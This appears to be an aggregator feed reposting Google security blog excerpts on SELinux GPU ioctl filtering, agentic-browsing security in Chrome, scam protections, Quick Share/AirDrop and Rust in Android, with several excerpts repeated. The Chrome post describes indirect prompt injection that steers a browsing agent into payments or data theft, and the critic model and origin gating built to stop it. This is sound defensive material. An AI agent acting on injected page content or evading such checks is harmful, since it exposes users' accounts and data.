 Setting the android:debuggable="true" attribute in their app's manifest.

 Requesting a permanent exception in the SELinux policy for their application.

This approach allowed us to roll out the new security policy broadly while minimizing the impact on developers.

 Step by Step instructions on how to add your Sepolicy 

To help our partners and the broader ecosystem adopt similar hardening measures, this section provides a practical, step-by-step guide for implementing a robust SELinux policy to filter GPU ioctls. This example is based on the policy we implemented for the Mali GPU on Android devices.

The core principle is to create a flexible, platform-level macro that allows each device to define its own specific lists of GPU ioctl commands to be restricted. This approach separates the general policy logic from the device-specific implementation.

Official documentation detailing the added macro and GPU security policy is available at:

SELinux Hardening Macro: GPU Syscall Filtering 

Android Security Change: Android 16 Behavior Changes 

 Step 1: Utilize the Platform-Level Hardening Macro 

The first step is to use a generic macro that we built in the platform's system/sepolicy that can be used by any device. This macro establishes the framework for filtering different categories of ioctls.

In the file /sepolicy/public/te_macros , a new macro is created. This macro allows device-specific policies to supply their own lists of ioctls to be filtered. The macro is designed to:

 Allow all applications ( appdomain ) access to a defined list of unprivileged ioctls.

 Restrict access to sensitive "instrumentation" ioctls, only permitting them for debugging tools like shell or runas_app when the application is debuggable.

 Block access to privileged ioctls based on the application's target SDK version, maintaining compatibility for older applications.

 Step 2: Define Device-Specific IOCTL Lists 

With the platform macro in place, you can now create a device-specific implementation. This involves defining the exact ioctl commands used by your particular GPU driver.

 Create an ioctl_macros file in your device's sepolicy directory (e.g., device/your_company/your_device/sepolicy/ioctl_macros ).

 Define the ioctl lists inside this file, categorizing them as needed. Based on our analysis, we recommend at least mali_production_ioctls , mali_instrumentation_ioctls , and mali_debug_ioctls . These lists will contain the hexadecimal ioctl numbers specific to your driver.

 For example, you can define your IOCTL lists as follows:

 define(`unpriv_gpu_ioctls', `0x0000, 0x0001, 0x0002')
define(`restricted_ioctls', `0x1110, 0x1111, 0x1112')
define(`instrumentation_gpu_ioctls', `0x2220, 0x2221, 0x2222') 

Arm has provided official categorization of their IOCTLs in Documentation/ioctl-categories.rst of their r54p2 release. This list will continue to be maintained in future driver releases.

 Step 3: Apply the Policy to the GPU Device 

Now, you apply the policy to the GPU device node using the macro you created.

 Create a gpu.te file in your device's sepolicy directory.

 Call the platform macro from within this file, passing in the device label and the ioctl lists you just defined.

 Step 4: Test, Refine, and Enforce 

As with any SELinux policy development, the process should be iterative. This iterative process is consistent with best practices for SELinux policy development outlined in the Android Open Source Project documentation .

 Conclusion 

Attack surface reduction is an effective approach to security hardening, rendering vulnerabilities unreachable. This technique is particularly effective because it provides users strong protection against existing but also not-yet-discovered vulnerabilities, and vulnerabilities that might be introduced in the future. This effort spans across Android and Android OEMs, and required close collaboration with Arm. The Android security team is committed to collaborating with ecosystem partners to drive broader adoption of this approach to help harden the GPU.

 Acknowledgments 

 Thank you to Jeffrey Vander Stoep for h
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Architecting Security for Agentic Capabilities in Chrome
https://kevwire.com/record/google-security-architecting-security-for-agentic-55d227c115f9
Architecting Security for Agentic Capabilities in Chrome (Dec 8, 2025).
Posted by Nathan Parker, Chrome security team 

Chrome has been advancing the web’s security for well over 15 years, and we’re committed to meeting new challenges and opportunities with AI. Billions of people trust Chrome to keep them safe by default, and this is a responsibility we take seriously. Following the recent launch of Gemini in Chrome and the preview of agentic capabilities , we want to share our approach and some new innovations to improve the safety of agentic browsing. 

The primary new threat facing all agentic browsers is indirect prompt injection . It can appear in malicious sites, third-party content in iframes, or from user-generated content like user reviews, and can cause the agent to take unwanted actions such as initiating financial transactions or exfiltrating sensitive data. Given this open challenge, we are investing in a layered defense that includes both deterministic and probabilistic defenses to make it difficult and costly for attackers to cause harm. 

Designing safe agentic browsing for Chrome has involved deep collaboration of security experts across Google. We built on Gemini's existing protections and agent security principles and have implemented several new layers for Chrome.

We’re introducing a user alignment critic where the agent’s actions are vetted by a separate model that is isolated from untrusted content. We’re also extending Chrome’s origin-isolation capabilities to constrain what origins the agent can interact with, to just those that are relevant to the task. Our layered defense also includes user confirmations for critical steps, real-time detection of threats , and red-teaming and response . We’ll step through these layers below.

 Checking agent outputs with User Alignment Critic 

The main planning model for Gemini uses page content shared in Chrome to decide what action to take next. Exposure to untrusted web content means it is inherently vulnerable to indirect prompt injection. We use techniques like spotlight
Sources:
Google Security Research: Architecting Security for Agentic Capabilities in Chrome: https://security.googleblog.com/2025/12/architecting-security-for-agentic.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Nathan Parker, Chrome security team 

Chrome has been advancing the web’s security for well over 15 years, and we’re committed to meeting new challenges and opportunities with AI. Billions of people trust Chrome to keep them safe by default, and this is a responsibility we take seriously. Following the recent launch of Gemini in Chrome and the preview of agentic capabilities , we want to share our approach and some new innovations to improve the safety of agentic browsing. 

The primary new threat facing all agentic browsers is indirect prompt injection . It can appear in malicious sites, third-party content in iframes, or from user-generated content like user reviews, and can cause the agent to take unwanted actions such as initiating financial transactions or exfiltrating sensitive data. Given this open challenge, we are investing in a layered defense that includes both deterministic and probabilistic defenses to make it difficult and costly for attackers to cause harm. 

Designing safe agentic browsing for Chrome has involved deep collaboration of security experts across Google. We built on Gemini's existing protections and agent security principles and have implemented several new layers for Chrome.

We’re introducing a user alignment critic where the agent’s actions are vetted by a separate model that is isolated from untrusted content. We’re also extending Chrome’s origin-isolation capabilities to constrain what origins the agent can interact with, to just those that are relevant to the task. Our layered defense also includes user confirmations for critical steps, real-time detection of threats , and red-teaming and response . We’ll step through these layers below.

 Checking agent outputs with User Alignment Critic 

The main planning model for Gemini uses page content shared in Chrome to decide what action to take next. Exposure to untrusted web content means it is inherently vulnerable to indirect prompt injection. We use techniques like spotlighting that direct the model to strongly prefer following user and system instructions over what’s on the page, and we’ve upstreamed known attacks to train the Gemini model to avoid falling for them. 

To further bolster model alignment beyond spotlighting, we’re introducing the User Alignment Critic — a separate model built with Gemini that acts as a high-trust system component. This architecture is inspired partially by the dual-LLM pattern as well as CaMeL research from Google DeepMind.

 A flow chart that depicts the User Alignment Critic: a trusted component that vets each action before it reaches the browser. 

The User Alignment Critic runs after the planning is complete to double-check each proposed action. Its primary focus is task alignment: determining whether the proposed action serves the user’s stated goal. If the action is misaligned, the Alignment Critic will veto it. This component is architected to see only metadata about the proposed action and not any unfiltered untrustworthy web content, thus ensuring it cannot be poisoned directly from the web. It has less context, but it also has a simpler job — just approve or reject an action.

This is a powerful, extra layer of defense against both goal-hijacking and data exfiltration within the action step. When an action is rejected, the Critic provides feedback to the planning model to re-formulate its plan, and the planner can return control to the user if there are repeated failures. 

 Enforcing stronger security bound aries with Origin Sets 

 Site Isolation and the same-origin policy are fundamental boundaries in Chrome’s security model and we’re carrying forward these concepts into the agentic world. By their nature, agents must operate across websites (e.g. collecting ingredients on one site and filling a shopping cart on another). But if an unrestricted agent is compromised and can interact with arbitrary sites, it can create what is effectively a Site Isolation bypass. That can have a severe impact when the agent operates on a local browser like Chrome, with logged-in sites vulnerable to data exfiltration. To address this, we’re extending those principles with Agent Origin Sets . Our design architecturally limits the agent to only access data from origins that are related to the task at hand, or data that the user has chosen to share with the agent. This prevents a compromised agent from acting arbitrarily on unrelated origins.

For each task on the web, a trustworthy gating function decides which origins proposed by the planner are relevant to the task. The design is to separate these into two sets, tracked for each session:

 Read-only origins are those from which Gemini is permitted to consume content. If an iframe’s origin isn’t on the list, the model will not see that content.

 Read-writable origins are those on which the agent is allowed to actuate (e.g., click, type) in addition to reading from. 

This delineation enforces that only data from a limited set of origins is available to the agent, and this data can only be passed on to the writable origins. This bounds the threat vector of cross-origin data leaks. This also gives the browser the ability to enforce some of that separation, such as by not even sending to the model data that is outside the readable set. This reduces the model’s exposure to unnecessary cross-site data. Like the Alignment Critic, the gating functions that calculate these origin sets are not exposed to untrusted web content. The planner can also use context from pages the user explicitly shared in that session, but it cannot add new origins without the gating function’s approval. Outside of web origins, the planning model may ingest other non-web content such as from tool calls, so we also delineate those into read-vs-write calls and similarly check that those calls are appropriate for the task.

 Iframes from origins that aren’t related to the user’s task are not shown to the model. 

Page navigations can happen in several ways: If the planner decides to navigate to a new origin that isn’t yet in the readable set, that origin is checked for relevancy by a variant of the User Alignment critic before Chrome adds it and starts the navigation. And since model-generated URLs could exfiltrate private information, we have a deterministic check to restrict them to known, public URLs. If a page in Chrome navigates on its own to a new origin, it’ll get vetted by the same critic.

Getting the balance right on the first iteration is hard without seeing how users’ tasks interact with these guardrails. We’ve initially implemented a simpler version of origin gating that just tracks the read-writeable set. We will tune the gating functions and other aspects of this system to reduce unnecessary friction while improving security. We think this architecture will provide a powerful security primitive that can be audited and reasoned about within the client, as it provides guardrails against cross-origin sensitive data exfiltration and unwanted actions.

 Transparency and control for sensitive actions

We designed the agentic capabilities in Chrome to give the user both transparency and control when they need it most. As the agent works in a tab, it details each step in a work log, allowing the user to observe the agent's actions as they happen. The user can pause to take over or stop a task at any time. 

This transparency is paired with several layers of deterministic and model-based checks to trigger user confirmations before the agent takes an impactful action. These serve as guardrails against both model mistakes and adversarial input by putting the user in the loop at key moments.

First, the agent will require a user confirmation before it navigates to certain sensitive sites, such as those dealing with banking transactions or personal medical information. This is based on a deterministic check against a list of sensitive sites. Second, it’ll confirm before allowing Chrome to sign-in to a site via Goo
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Android expands pilot for in-call scam protection for financial apps
https://kevwire.com/record/google-security-android-expands-pilot-in-call-scam-protection-financial-apps-7c6a9197e7fc
Android expands pilot for in-call scam protection for financial apps (Dec 3, 2025).
Posted by Aden Haussmann, Associate Product Manager and Sumeet Sharma, Play Partnerships Trust & Safety Lead 

Android uses the best of Google AI and our advanced security expertise to tackle mobile scams from every angle. Over the last few years, we’ve launched industry-leading features to detect scams and protect users across phone calls, text messages and messaging app chat notifications .

These efforts are making a real difference in the lives of Android users. According to a recent YouGov survey 1 commissioned by Google, Android users were 58% more likely than iOS users to report they had not received any scam texts in the prior week 2 . 

But our work doesn’t stop there. Scammers are continuously evolving, using more sophisticated social engineering tactics to trick users into sharing their phone screen while on the phone to visit malicious websites, reveal sensitive information, send funds or download harmful apps. One popular scam involves criminals impersonating banks or other trusted institutions on the phone to try to manipulate victims into sharing their screen in order to reveal banking information or make a financial transfer. 

To help combat these types of financial scams, we launched a pilot earlier this year in the UK focused on in-call protections for financial apps.

 How the in-call scam protection works on Android 

When you launch a participating financial app while screen sharing and on a phone call with a number that is not saved in your contacts, your Android device 3 will automatically warn you about the potential dangers and give you the option to end the call and to stop screen sharing with just one tap. The warning includes a 30-second pause period before you’re able to continue, which helps break the ‘spell’ of the scammer's social engineering, disrupting the false sense of urgency and panic commonly used to manipulate you into a scam.

 Bringing in-call scam protections to more users on Android 

The UK pilot of Android’s in-call sca
Sources:
Google Security Research: Android expands pilot for in-call scam protection for financial apps: https://security.googleblog.com/2025/12/android-expands-pilot-in-call-scam-protection-financial-apps.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Aden Haussmann, Associate Product Manager and Sumeet Sharma, Play Partnerships Trust & Safety Lead 

Android uses the best of Google AI and our advanced security expertise to tackle mobile scams from every angle. Over the last few years, we’ve launched industry-leading features to detect scams and protect users across phone calls, text messages and messaging app chat notifications .

These efforts are making a real difference in the lives of Android users. According to a recent YouGov survey 1 commissioned by Google, Android users were 58% more likely than iOS users to report they had not received any scam texts in the prior week 2 . 

But our work doesn’t stop there. Scammers are continuously evolving, using more sophisticated social engineering tactics to trick users into sharing their phone screen while on the phone to visit malicious websites, reveal sensitive information, send funds or download harmful apps. One popular scam involves criminals impersonating banks or other trusted institutions on the phone to try to manipulate victims into sharing their screen in order to reveal banking information or make a financial transfer. 

To help combat these types of financial scams, we launched a pilot earlier this year in the UK focused on in-call protections for financial apps.

 How the in-call scam protection works on Android 

When you launch a participating financial app while screen sharing and on a phone call with a number that is not saved in your contacts, your Android device 3 will automatically warn you about the potential dangers and give you the option to end the call and to stop screen sharing with just one tap. The warning includes a 30-second pause period before you’re able to continue, which helps break the ‘spell’ of the scammer's social engineering, disrupting the false sense of urgency and panic commonly used to manipulate you into a scam.

 Bringing in-call scam protections to more users on Android 

The UK pilot of Android’s in-call scam protections has already helped thousands of users end calls that could have cost them a significant amount of money. Following this success, and alongside recently launched pilots with financial apps in Brazil and India , we’ve now expanded this protection to most major UK banks. 

We’ve also started to pilot this protection with more app types, including peer-to-peer (P2P) payment apps. Today, we’re taking the next step in our expansion by rolling out a pilot of this protection in the United States 4 with a number of popular fintechs like Cash App and banks, including JPMorganChase. 

We are committed to collaborating across the ecosystem to help keep people safe from scams. We look forward to learning from these pilots and bringing these critical safeguards to even more users in the future.

 Notes

 Google/YouGov survey, July-August, n=5,100 (1,700 each in the US, Brazil and India), with adults who use their smartphones daily and who have been exposed to a scam or fraud attempt on their smartphone. Survey data have been weighted to smartphone population adults in each country. ↩ 
 
 Among users who use the default texting app on their smartphone. ↩ 
 
 Compatible with Android 11+ devices ↩ 
 
 US users of the US versions of the apps; rollout begins Dec. 2025 ↩

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### How Android provides the most effective protection to keep you safe from mobile scams
https://kevwire.com/record/google-security-how-android-protects-you-from-scams-bad9f7012cdc
How Android provides the most effective protection to keep you safe from mobile scams (Oct 30, 2025).
Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse; Vijay Pareek, Manager, Android Messaging Trust and Safety 

As Cybersecurity Awareness Month wraps up, we’re focusing on one of today's most pervasive digital threats: mobile scams. In the last 12 months, fraudsters have used advanced AI tools to create more convincing schemes, resulting in over $400 billion in stolen funds globally. ¹ 

For years, Android has been on the frontlines in the battle against scammers, using the best of Google AI to build proactive, multi-layered protections that can anticipate and block scams before they reach you. Android’s scam defenses protect users around the world from over 10 billion suspected malicious calls and messages every month 2 . In addition, Google continuously performs safety checks to maintain the integrity of the RCS service. In the past month alone, this ongoing process blocked over 100 million suspicious numbers from using RCS, stopping potential scams before they could even be sent. 

To show how our scam protections work in the real world, we asked users and independent security experts to compare how well Android and iOS protect you from these threats. We're also releasing a new report that explains how modern text scams are orchestrated, helping you understand the tactics fraudsters use and how to spot them. 

 Survey shows Android users’ confidence in scam protections 

Google and YouGov 3 surveyed 5,000 smartphone users across the U.S., India, and Brazil about their scam experiences. The findings were clear: Android users reported receiving fewer scam texts and felt more confident that their device was keeping them safe.

 Android users were 58% more likely than iOS users to say they had not received any scam texts in the week prior to the survey. The advantage was even stronger on Pixel, where users were 96% more likely than iPhone owners to report zero scam texts 4 .
Sources:
Google Security Research: How Android provides the most effective protection to keep you safe from mobile scams: https://security.googleblog.com/2025/10/how-android-protects-you-from-scams.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse; Vijay Pareek, Manager, Android Messaging Trust and Safety 

As Cybersecurity Awareness Month wraps up, we’re focusing on one of today's most pervasive digital threats: mobile scams. In the last 12 months, fraudsters have used advanced AI tools to create more convincing schemes, resulting in over $400 billion in stolen funds globally. ¹ 

For years, Android has been on the frontlines in the battle against scammers, using the best of Google AI to build proactive, multi-layered protections that can anticipate and block scams before they reach you. Android’s scam defenses protect users around the world from over 10 billion suspected malicious calls and messages every month 2 . In addition, Google continuously performs safety checks to maintain the integrity of the RCS service. In the past month alone, this ongoing process blocked over 100 million suspicious numbers from using RCS, stopping potential scams before they could even be sent. 

To show how our scam protections work in the real world, we asked users and independent security experts to compare how well Android and iOS protect you from these threats. We're also releasing a new report that explains how modern text scams are orchestrated, helping you understand the tactics fraudsters use and how to spot them. 

 Survey shows Android users’ confidence in scam protections 

Google and YouGov 3 surveyed 5,000 smartphone users across the U.S., India, and Brazil about their scam experiences. The findings were clear: Android users reported receiving fewer scam texts and felt more confident that their device was keeping them safe.

 Android users were 58% more likely than iOS users to say they had not received any scam texts in the week prior to the survey. The advantage was even stronger on Pixel, where users were 96% more likely than iPhone owners to report zero scam texts 4 .

 At the other end of the spectrum, iOS users were 65% more likely than Android users to report receiving three or more scam texts in a week. The difference became even more pronounced when comparing iPhone to Pixel, with iPhone users 136% more likely to say they had received a heavy volume of scam messages 4 .

 Android users were 20% more likely than iOS users to describe their device’s scam protections as “very effective” or “extremely effective.” When comparing Pixel to iPhone, iPhone users were 150% more likely to say their device was not effective at all in stopping mobile fraud.

 YouGov study findings on users’ experience with scams on Android and iOS 

 Security researchers and analysts highlight Android’s AI-driven safeguards against sophisticated scams 

In a recent evaluation by Counterpoint Research 5 , a global technology market research firm, Android smartphones were found to have the most AI-powered protections. The independent study compared the latest Pixel, Samsung, Motorola, and iPhone devices, and found that Android provides comprehensive AI-driven safeguards across ten key protection areas, including email protections, browsing protections, and on-device behavioral protections. By contrast, iOS offered AI-powered protections in only two categories. You can see the full comparison in the visual below.

 Counterpoint Research comparison of Android and iOS AI-powered protections 

Cybersecurity firm Leviathan Security Group conducted a funded evaluation 6 of scam and fraud protection on the iPhone 17, Moto Razr+ 2025, Pixel 10 Pro, and Samsung Galaxy Z Fold 7. Their analysis found that Android smartphones, led by the Pixel 10 Pro, provide the highest level of default scam and fraud protection.The report particularly noted Android's robust call screening, scam detection, and real-time scam warning authentication capabilities as key differentiators. Taken together, these independent expert assessments conclude that Android’s AI-driven safeguards provide more comprehensive and intelligent protection against mobile scams.

 Leviathan Security Group comparison of scam protections across various devices 

 Why Android users see fewer scams 

Android’s proactive protections work across the platform to help you stay ahead of threats with the best of Google AI. 

Here’s how they work:

 Keeping your messages safe: Google Messages automatically filters known spam by analyzing sender reputation and message content, moving suspicious texts directly to your "spam & blocked" folder to keep them out of sight. For more complex threats, Scam Detection uses on-device AI to analyze messages from unknown senders for patterns of conversational scams (like pig butchering) and provide real-time warnings 6 . This helps secure your privacy while providing a robust shield against text scams. As an extra safeguard, Google Messages also helps block suspicious links in messages that are determined to be spam or scams.

 Combatting phone call scams: Phone by Google automatically blocks known spam calls so your phone never even rings, while Call Screen 5 can answer the call on your behalf to identify fraudsters. If you answer, the protection continues with Scam Detection, which uses on-device AI to provide real-time warnings for suspicious conversational patterns 6 . This processing is completely ephemeral, meaning no call content is ever saved or leaves your device. Android also helps stop social engineering during the call itself by blocking high-risk actions 7 like installing untrusted apps or disabling security settings, and warns you if your screen is being shared unknowingly.

These safeguards are built directly into the core of Android, alongside other features like real-time app scanning in Google Play Protect and enhanced Safe Browsing in Chrome using LLMs. With Android, you can trust that you have intelligent, multi-layered protection against scams working for you.

 Android is always evolving to keep you one step ahead of scams 

In a world of evolving digital threats, you deserve to feel confident that your phone is keeping you safe. That’s why we use the best of Google AI to build intelligent protections that are always improving and work for you around the clock, so you can connect, browse, and communicate with peace of mind. 

 See these protections in action in our new infographic and learn more about phone call scams in our 2025 Phone by Google Scam Report . 

 1: Data from Global Anti-Scam Alliance , October 2025 ↩ 

 2: This total comprises all instances where a message or call was proactively blocked or where a user was alerted to potential spam or scam activity. ↩ 

 3: Google/YouGov survey, July-August, n=5,100 (1,700 each in the US, Brazil and India), with adults who use their smartphones daily and who have been exposed to a scam or fraud attempt on their smartphone. Survey data have been weighted to smartphone population adults in each country. ↩ 

 4: Among users who use the default texting app on their smartphone ↩ 

 5: Google/Counterpoint Research, “Assessing the State of AI-Powered Mobile Security”, Oct. 2025; based on comparing the Pixel 10 Pro, iPhone 17 Pro, Samsung Galaxy S25 Ultra, OnePlus 13, Motorola Razr+ 2025. Evaluation based on no-cost smartphone features enabled by default. Some features may not be available in all countries. ↩ 

 6: Google/Leviathan Security Group, “October 2025 Mobile Platform Security & Fraud Prevention Assessment”, Oct. 2025; based on comparing the Pixel 10 Pro, iPhone 17 Pro, Samsung Galaxy Z Fold 7 and Motorola Razr+ 2025. Evaluation based on no-cost smartphone features enabled by default. Some features may not be available in all countries. ↩ ↩ 

 7: Accuracy may vary. Availability varies. ↩ ↩ ↩

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Android Quick Share Support for AirDrop: A Secure Approach to Cross-Platform File Sharing
https://kevwire.com/record/google-security-android-quick-share-support-for-airdrop-security-ceb406ec476e
Android Quick Share Support for AirDrop: A Secure Approach to Cross-Platform File Sharing (Nov 20, 2025).
Posted by Dave Kleidermacher, VP, Platforms Security & Privacy, Google 

Technology should bring people closer together, not create walls. Being able to communicate and connect with friends and family should be easy regardless of the phone they use. That’s why Android has been building experiences that help you stay connected across platforms.

As part of our efforts to continue to make cross-platform communication more seamless for users, we've made Quick Share interoperable with AirDrop, allowing for two-way file sharing between Android and iOS devices, starting with the Pixel 10 Family. This new feature makes it possible to quickly share your photos, videos, and files with people you choose to communicate with, without worrying about the kind of phone they use. 

Most importantly, when you share personal files and content, you need to trust that it stays secure. You can share across devices with confidence knowing we built this feature with security at its core, protecting your data with strong safeguards that have been tested by independent security experts.

 Secure by Design

We built Quick Share’s interoperability support for AirDrop with the same rigorous security standards that we apply to all Google products. Our approach to security is proactive and deeply integrated into every stage of the development process. This includes:

 Threat Modeling: We identify and address potential security risks before they can become a problem.

 Internal Security Design and Privacy Reviews: Our dedicated security and privacy teams thoroughly review the design to ensure it meets our high standards.

 Internal Penetration Testing: We conduct extensive in-house testing to identify and fix vulnerabilities.

This Secure by Design philosophy ensures that all of our products are not just functional but also fundamentally secure.

This feature is also protected by a multi-layered security approach to ensure a safe sharing experience from end-to-end, regardless of what platform you
Sources:
Google Security Research: Android Quick Share Support for AirDrop: A Secure Approach to Cross-Platform File Sharing: https://security.googleblog.com/2025/11/android-quick-share-support-for-airdrop-security.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Dave Kleidermacher, VP, Platforms Security & Privacy, Google 

Technology should bring people closer together, not create walls. Being able to communicate and connect with friends and family should be easy regardless of the phone they use. That’s why Android has been building experiences that help you stay connected across platforms.

As part of our efforts to continue to make cross-platform communication more seamless for users, we've made Quick Share interoperable with AirDrop, allowing for two-way file sharing between Android and iOS devices, starting with the Pixel 10 Family. This new feature makes it possible to quickly share your photos, videos, and files with people you choose to communicate with, without worrying about the kind of phone they use. 

Most importantly, when you share personal files and content, you need to trust that it stays secure. You can share across devices with confidence knowing we built this feature with security at its core, protecting your data with strong safeguards that have been tested by independent security experts.

 Secure by Design

We built Quick Share’s interoperability support for AirDrop with the same rigorous security standards that we apply to all Google products. Our approach to security is proactive and deeply integrated into every stage of the development process. This includes:

 Threat Modeling: We identify and address potential security risks before they can become a problem.

 Internal Security Design and Privacy Reviews: Our dedicated security and privacy teams thoroughly review the design to ensure it meets our high standards.

 Internal Penetration Testing: We conduct extensive in-house testing to identify and fix vulnerabilities.

This Secure by Design philosophy ensures that all of our products are not just functional but also fundamentally secure.

This feature is also protected by a multi-layered security approach to ensure a safe sharing experience from end-to-end, regardless of what platform you’re on. 

 Secure Sharing Channel: The communication channel itself is hardened by our use of Rust to develop this feature. This memory-safe language is the industry benchmark for building secure systems and provides confidence that the connection is protected against buffer overflow attacks and other common vulnerabilities. 

 Built-in Platform Protections: This feature is strengthened by the robust built-in security of both Android and iOS. On Android, security is built in at every layer. Our deep investment in Rust at the OS level hardens the foundation, while proactive defenses like Google Play Protect work to keep your device safe. This is complemented by the security architecture of iOS that provides its own strong safeguards that mitigate malicious files and exploitation. These overlapping protections on both platforms work in concert with the secure connection to provide comprehensive safety for your data when you share or receive.

 You’re in Control: Sharing across platforms works just like you're used to: a file requires your approval before being received, so you're in control of what you accept.

 The Power of Rust: A Foundation of Secure Communication

A key element of our security strategy for the interoperability layer between Quick Share and AirDrop is the use of the memory-safe Rust programming language. Recognized by security agencies around the world, including the NSA and CISA , Rust is widely considered the industry benchmark for building secure systems because it eliminates entire classes of memory-safety vulnerabilities by design.

 Rust is already a cornerstone of our broader initiative to eliminate memory safety bugs across Android. Its selection for this feature was deliberate, driven by the unique security challenges of cross-platform communication that demanded the most robust protections for memory safety.

The core of this feature involves receiving and parsing data sent over a wireless protocol from another device. Historically, when using a memory-unsafe language, bugs in data parsing logic are one of the most common sources of high-severity security vulnerabilities. A malformed data packet sent to a parser written in a memory-unsafe language can lead to buffer overflows and other memory corruption bugs, creating an opportunity for code execution.

This is precisely where Rust provides a robust defense. Its compiler enforces strict ownership and borrowing rules at compile time, which guarantees memory safety. Rust removes entire classes of memory-related bugs. This means our implementation is inherently resilient against attackers attempting to use maliciously crafted data packets to exploit memory errors. 

 Secure Sharing Using AirDrop's "Everyone" Mode

To ensure a seamless experience for both Android and iOS users, Quick Share currently works with AirDrop's "Everyone for 10 minutes" mode. This feature does not use a workaround; the connection is direct and peer-to-peer, meaning your data is never routed through a server, shared content is never logged, and no extra data is shared. As with "Everyone for 10 minutes" mode on any device when you’re sharing between non-contacts, you can ensure you're sharing with the right person by confirming their device name on your screen with them in person.

 This implementation using "Everyone for 10 minutes” mode is just the first step in seamless cross-platform sharing, and we welcome the opportunity to work with Apple to enable “Contacts Only” mode in the future.

 Tested by Independent Security Experts

After conducting our own secure product development, internal threat modeling, privacy reviews, and red team penetration tests, we engaged with NetSPI , a leading third-party penetration testing firm, to further validate the security of this feature and conduct an independent security assessment . The assessment found the interoperability between Quick Share and AirDrop is secure, is “notably stronger” than other industry implementations and does not leak any information. 

Based on these internal and external assessments, we believe our implementation provides a strong security foundation for cross-platform file sharing for both Android and iOS users. We will continue to evaluate and enhance the implementation’s security in collaboration with additional third-party partners.

To complement this deep technical audit, we also sought expert third-party perspective on our approach from Dan Boneh , a renowned security expert and professor at Stanford University:

“Google’s work on this feature, including the use of memory safe Rust for the core communications layer, is a strong example of how to build secure interoperability, ensuring that cross-platform information sharing remains safe. I applaud the effort to open more secure information sharing between platforms and encourage Google and Apple to work together more on this."

 The Future of File-Sharing Should Be Interoperable

This is just the first step as we work to improve the experience and expand it to more devices. We look forward to continuing to work with industry partners to make connecting and communicating across platforms a secure, seamless experience for all users.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rust in Android: move fast and fix things
https://kevwire.com/record/google-security-rust-in-android-move-fast-fix-things-a2039473c328
Rust in Android: move fast and fix things (Nov 13, 2025).
Posted by Jeff Vander Stoep, Android 

 Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in new code quickly yields durable and compounding gains. This year we look at how this approach isn’t just fixing things, but helping us move faster .

The 2025 data continues to validate the approach, with memory safety vulnerabilities falling below 20% of total vulnerabilities for the first time.

 Updated data for 2025. This data covers first-party and third-party (open source) code changes to the Android platform across C, C++, Java, Kotlin, and Rust. This post is published a couple of months before the end of 2025, but Android’s industry-standard 90-day patch window means that these results are very likely close to final. We can and will accelerate patching when necessary. 

We adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code . But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review , the safer path is now also the faster one. 

In this post, we dig into the data behind this shift and also cover:

 How we’re expanding our reach: We're pushing to make secure code the default across our entire software stack. We have updates on Rust adoption in first-party apps, the Linux kernel, and firmware.

 Our first rust memory safety vulnerability...almost: We'll analyze a near-miss memory safety bug in unsafe Rust: how it happened, how it was mitigated, and steps we're taking to prevent recurrence. It’s also a good chance to answer the question “if Rust can have memory safety issues, why bother at all?”

 Building Better Software, Faster

Developing an operating system requires the low-level control and predictability of systems programming languages like C, C++, and Rust. While Java and Kotlin are important for Android platform development, their ro
Sources:
Google Security Research: Rust in Android: move fast and fix things: https://security.googleblog.com/2025/11/rust-in-android-move-fast-fix-things.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Jeff Vander Stoep, Android 

 Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in new code quickly yields durable and compounding gains. This year we look at how this approach isn’t just fixing things, but helping us move faster .

The 2025 data continues to validate the approach, with memory safety vulnerabilities falling below 20% of total vulnerabilities for the first time.

 Updated data for 2025. This data covers first-party and third-party (open source) code changes to the Android platform across C, C++, Java, Kotlin, and Rust. This post is published a couple of months before the end of 2025, but Android’s industry-standard 90-day patch window means that these results are very likely close to final. We can and will accelerate patching when necessary. 

We adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code . But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review , the safer path is now also the faster one. 

In this post, we dig into the data behind this shift and also cover:

 How we’re expanding our reach: We're pushing to make secure code the default across our entire software stack. We have updates on Rust adoption in first-party apps, the Linux kernel, and firmware.

 Our first rust memory safety vulnerability...almost: We'll analyze a near-miss memory safety bug in unsafe Rust: how it happened, how it was mitigated, and steps we're taking to prevent recurrence. It’s also a good chance to answer the question “if Rust can have memory safety issues, why bother at all?”

 Building Better Software, Faster

Developing an operating system requires the low-level control and predictability of systems programming languages like C, C++, and Rust. While Java and Kotlin are important for Android platform development, their role is complementary to the systems languages rather than interchangeable. We introduced Rust into Android as a direct alternative to C and C++, offering a similar level of control but without many of their risks. We focus this analysis on new and actively developed code because our data shows this to be an effective approach .

